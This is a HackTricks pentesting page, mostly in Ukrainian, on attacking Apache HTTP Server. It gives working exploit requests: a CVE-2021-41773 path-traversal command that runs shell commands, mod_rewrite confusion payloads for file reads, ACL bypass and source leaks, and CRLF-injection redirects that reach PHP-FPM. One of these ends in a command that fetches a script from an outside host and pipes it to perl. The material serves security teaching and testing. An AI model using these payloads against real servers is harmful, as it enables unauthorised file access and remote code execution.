Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

Apache

Support HackTricks

Виконувані PHP розширення

Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, ви можете виконати:

grep -R -B1 "httpd-php" /etc/apache2

Також деякі місця, де ви можете знайти цю конфігурацію, це:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

Цей тип атак був представлений і задокументований компанією Orange у цьому блозі, і нижче наведено резюме. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них змінювати деякі несподівані дані може викликати вразливість у наступному модулі.

Filename Confusion

Truncation

mod_rewrite обрізає вміст r->filename після символу ? (modules/mappers/mod_rewrite.c#L4141). Це не зовсім неправильно, оскільки більшість модулів буде розглядати r->filename як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему.

  • Path Truncation

Можливо зловживати mod_rewrite, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

  • Помилкове призначення RewriteFlag

У наступному правилі переписування, поки URL закінчується на .php, він буде оброблятися та виконуватися як php. Тому можливо надіслати URL, який закінчується на .php після символу ?, завантажуючи при цьому в шлях інший тип файлу (наприклад, зображення) з шкідливим php-кодом всередині:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений з такими конфігураціями:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на .php, такі як http://server/admin.php%3Fooo.php, і оскільки PHP-FPM видалить усе після символу ?, попередня URL-адреса дозволить завантажити /admin.php, навіть якщо попереднє правило забороняло це.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to https://server/abouth.html will check for the file in /var/www/html/about.html and /about.html in the file system. Which basically can be abused to access files in the file system.

Розкриття вихідного коду на стороні сервера

  • Розкрити вихідний код CGI

Just adding a %3F at the end is enough to leak the source code of a cgi module:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

  • Розкриття вихідного коду PHP

Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку php коду:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Маніпуляція локальними гаджетами

Основна проблема з попередньою атакою полягає в тому, що за замовчуванням більшість доступу до файлової системи буде заборонено, як у шаблоні конфігурації Apache HTTP Server:

<Directory />
AllowOverride None
Require all denied
</Directory>

Однак, операційні системи Debian/Ubuntu за замовчуванням дозволяють /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Тому, було б можливим зловживати файлами, розташованими всередині /usr/share в цих дистрибутивах.

Локальний гаджет для розкриття інформації

  • Apache HTTP Server з websocketd може відкривати скрипт dump-env.php за адресою /usr/share/doc/websocketd/examples/php/, що може призвести до витоку чутливих змінних середовища.

  • Сервери з Nginx або Jetty можуть відкривати чутливу інформацію веб-додатків (наприклад, web.xml) через свої стандартні веб-корені, розташовані під /usr/share:

  • /usr/share/nginx/html/

  • /usr/share/jetty9/etc/

  • /usr/share/jetty9/webapps/

Локальний гаджет для XSS

  • На Ubuntu Desktop з встановленим LibreOffice, експлуатація функції перемикання мови довідкових файлів може призвести до Cross-Site Scripting (XSS). Маніпулювання URL за адресою /usr/share/libreoffice/help/help.html може перенаправити на шкідливі сторінки або старі версії через небезпечне правило переписування.

Локальний гаджет для LFI

  • Якщо встановлені PHP або певні фронтенд-пакети, такі як JpGraph або jQuery-jFeed, їх файли можуть бути використані для читання чутливих файлів, таких як /etc/passwd:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php

  • /usr/share/javascript/jquery-jfeed/proxy.php

  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Локальний гаджет для SSRF

  • Використовуючи magpie_debug.php з MagpieRSS за адресою /usr/share/php/magpierss/scripts/magpie_debug.php, можна легко створити вразливість SSRF, що надає доступ до подальших експлойтів.

Локальний гаджет для RCE

  • Можливості для Remote Code Execution (RCE) величезні, з вразливими установками, такими як застарілий PHPUnit або phpLiteAdmin. Їх можна експлуатувати для виконання довільного коду, демонструючи широкий потенціал маніпуляцій з локальними гаджетами.

Джейнбрейк з локальних гаджетів

Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, такими як:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/

  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data

  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/

  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/

  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Більше того, зловживаючи символічними посиланнями, було можливо отримати RCE в Redmine.

Handler Confusion

Цей напад експлуатує перетин функціональності між директивами AddHandler та AddType, які обидві можуть бути використані для увімкнення обробки PHP. Спочатку ці директиви впливали на різні поля (r->handler та r->content_type відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи r->content_type в r->handler, якщо перше встановлено, а друге - ні.

Більше того, в Apache HTTP Server (server/config.c#L420), якщо r->handler порожній перед виконанням ap_run_handler(), сервер використовує r->content_type як обробник, ефективно роблячи AddType та AddHandler ідентичними за ефектом.

Перезаписати обробник для розкриття PHP вихідного коду

У цьому виступі була представлена вразливість, де неправильний Content-Length, надісланий клієнтом, може призвести до того, що Apache помилково поверне вихідний код PHP. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису r->content_type на text/html. Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне код PHP і не інтерпретує його.

Перезаписати обробник для XXXX

TODO: Orange ще не розкрив цю вразливість

Виклик довільних обробників

Якщо зловмисник може контролювати заголовок Content-Type у відповіді сервера, він зможе викликати довільні обробники модулів. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде завершено. Проте, можливо перезапустити процес запиту, зловживаючи заголовком Location, оскільки якщо returned Status дорівнює 200 і заголовок Location починається з /, відповідь обробляється як серверне перенаправлення і повинна бути оброблена.

Згідно з RFC 3875 (специфікація про CGI) у Розділі 6.2.2 визначається поведінка локальної відповіді перенаправлення:

CGI-скрипт може повернути URI шлях і рядок запиту (‘local-pathquery’) для локального ресурсу в заголовку Location. Це вказує серверу, що він повинен повторно обробити запит, використовуючи вказаний шлях.

Отже, для виконання цього нападу потрібна одна з наступних вразливостей:

  • CRLF Injection у заголовках відповіді CGI

  • SSRF з повним контролем заголовків відповіді

Довільний обробник для розкриття інформації

Наприклад, /server-status має бути доступним лише локально:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Можливо отримати доступ, встановивши Content-Type на server-status і заголовок Location, що починається з /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Випадковий обробник до повного SSRF

Перенаправлення до mod_proxy для доступу до будь-якого протоколу за будь-якою URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Однак заголовок X-Forwarded-For додається, що заважає доступу до кінцевих точок метаданих хмари.

Довільний обробник для доступу до локального сокета Unix Domain

Доступ до локального сокета Unix Domain PHP-FPM для виконання PHP бекдору, розташованого в /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Довільний обробник для RCE

Офіційний PHP Docker образ включає PEAR (Pearcmd.php), інструмент управління пакетами PHP через командний рядок, який можна зловживати для отримання RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Перевірте Docker PHP LFI Summary, написаний Phith0n для деталей цієї техніки.

Посилання

Підтримайте HackTricks
PreviousAngularNextArtifactory Hacking guide

Last updated